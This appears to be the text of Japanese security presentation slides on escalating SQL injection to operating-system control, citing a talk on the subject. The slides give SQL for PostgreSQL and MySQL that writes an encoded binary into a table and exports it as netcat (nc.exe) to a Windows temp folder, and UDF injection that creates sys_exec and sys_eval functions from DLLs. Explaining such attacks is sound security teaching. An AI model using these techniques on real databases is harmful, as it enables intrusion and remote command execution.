9. PostgreSQLでのコマンド配置例
▪ 他のDBでもSQL文からファイル操作が可能
CREATE TABLE footable(data text);
INSERT INTO footable(data) VALUES ('TVqQ…');
UPDATE footable SET data=data||'U8pp…vgDw';
[…]
SELECT lo_create(47);
UPDATE pg_largeobject SET data=(DECODE((SELECT
data FROM footable), 'base64')) WHERE loid=47;
SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe');
出典:Advanced SQL injection to operating system full control
10. MySQLでのコマンドの配置例
▪ MySQLでももちろん可能
CREATE TABLE footable(data longblob);
INSERT INTO footable(data) VALUES
(0x4d5a90…610000);
UPDATE footable SET
data=CONCAT(data, 0xaa270000…000000);
[…];
SELECT data FROM footable INTO DUMPFILE
'C:/WINDOWS/Temp/nc.exe';
出典:Advanced SQL injection to operating system full control
11. UDFインジェクション
▪ PostgreSQLの例
CREATE OR REPLACE FUNCTION sys_exec(text)
RETURNS int4 AS 'libudflenpx.dll',
'sys_exec' LANGUAGE C […];
CREATE OR REPLACE FUNCTION sys_eval(text)
RETURNS text AS 'libudflenpx.dll',
'sys_eval' LANGUAGE C […];
出典:Advanced SQL injection to operating system full control
12. UDFインジェクション
▪ もちろんMySQLもOK
CREATE FUNCTION sys_exec RETURNS int
SONAME 'libudffmwgj.dll';
CREATE FUNCTION sys_eval RETURNS string
SONAME 'libudffmwgj.dll';
出典:Advanced SQL injection to operating system full control